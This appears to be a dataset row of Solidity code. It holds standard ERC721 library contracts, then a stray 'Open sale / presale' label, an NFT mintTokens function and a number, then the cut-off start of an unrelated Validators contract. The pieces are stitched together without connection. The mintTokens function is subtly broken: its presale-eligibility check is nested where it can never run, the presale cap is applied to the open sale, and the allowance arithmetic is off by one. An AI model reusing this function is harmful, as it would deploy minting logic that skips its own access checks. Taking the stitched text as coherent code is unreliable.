mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
Open sale Tier 2 presale Tier 1 presale
|
function mintTokens(uint256 numTokens) external payable nonReentrant {
require(saleState != 0, "Sale is closed");
require(numTokens > 0 && numTokens <= MAX_MINT_QUANTITY, "You can only mint 1 to 20 tokens at a time");
if (saleState == 3) {
require(totalSupply() + numTokens <= TOKEN_LIMIT, "LCCC has sold out");
require(totalSupply() + numTokens <= PRESALE_MINT_LIMIT, "The maximum presale tokens have been minted");
if (saleState == 2) {
require(_presaleAllowance[msg.sender] > 0, "You are not eligible to presale mint");
require(_presaleAllowance[msg.sender] - numTokens >= 1, "You cannot mint that many tokens at this time");
_presaleAllowance[msg.sender] -= numTokens;
}
}
uint256 totalPrice = mintPrice * numTokens;
require(msg.value >= totalPrice, "Ether value sent is below the price");
for (uint256 i = 0; i < numTokens; i++) {
_randomMint(msg.sender);
}
}
| 5,865,965
|
pragma solidity ^0.5.13;
pragma experimental ABIEncoderV2;
import "openzeppelin-solidity/contracts/math/Math.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "solidity-bytes-utils/contracts/BytesLib.sol";
import "./interfaces/IValidators.sol";
import "../common/CalledByVm.sol";
import "../common/Initializable.sol";
import "../common/FixidityLib.sol";
import "../common/linkedlists/AddressLinkedList.sol";
import "../common/UsingRegistry.sol";
import "../common/UsingPrecompiles.sol";
import "../common/interfaces/IMapVersionedContract.sol";
import "../common/libraries/ReentrancyGuard.sol";
/**
* @title A contract for registering and electing Validators.
*/
contract Validators is
IValidators,
IMapVersionedContract,
Ownable,
ReentrancyGuard,
Initializable,
UsingRegistry,
UsingPrecompiles,
CalledByVm
{
using FixidityLib for FixidityLib.Fraction;
using AddressLinkedList for LinkedList.List;
using SafeMath for uint256;
using BytesLib for bytes;
// For Validators, these requirements must be met in order to:
// 1. Register a validator
// 2. Receive epoch payments (the validator must meet the validator requirements )
// Accounts may de-register after their Validator `duration` seconds
// after which no restrictions on Locked Gold will apply to the account.
struct LockedGoldRequirements {
uint256 value;
// In seconds.
uint256 duration;
}
struct SlashingInfo {
FixidityLib.Fraction multiplier;
uint256 lastSlashed;
}
struct PublicKeys {
bytes ecdsa;
bytes bls;
bytes blsG1;
}
struct Validator {
PublicKeys publicKeys;
FixidityLib.Fraction score;
//----- New changes -----
FixidityLib.Fraction commission;
FixidityLib.Fraction nextCommission;
uint256 nextCommissionBlock;
SlashingInfo slashInfo;
uint256 registerTimestamp;
}
// Parameters that govern the calculation of validator's score.
struct ValidatorScoreParameters {
uint256 exponent;
FixidityLib.Fraction adjustmentSpeed;
}
mapping(address => Validator) private validators;
address[] private registeredValidators;
address[] private deregisterValidators;
LockedGoldRequirements public validatorLockedGoldRequirements;
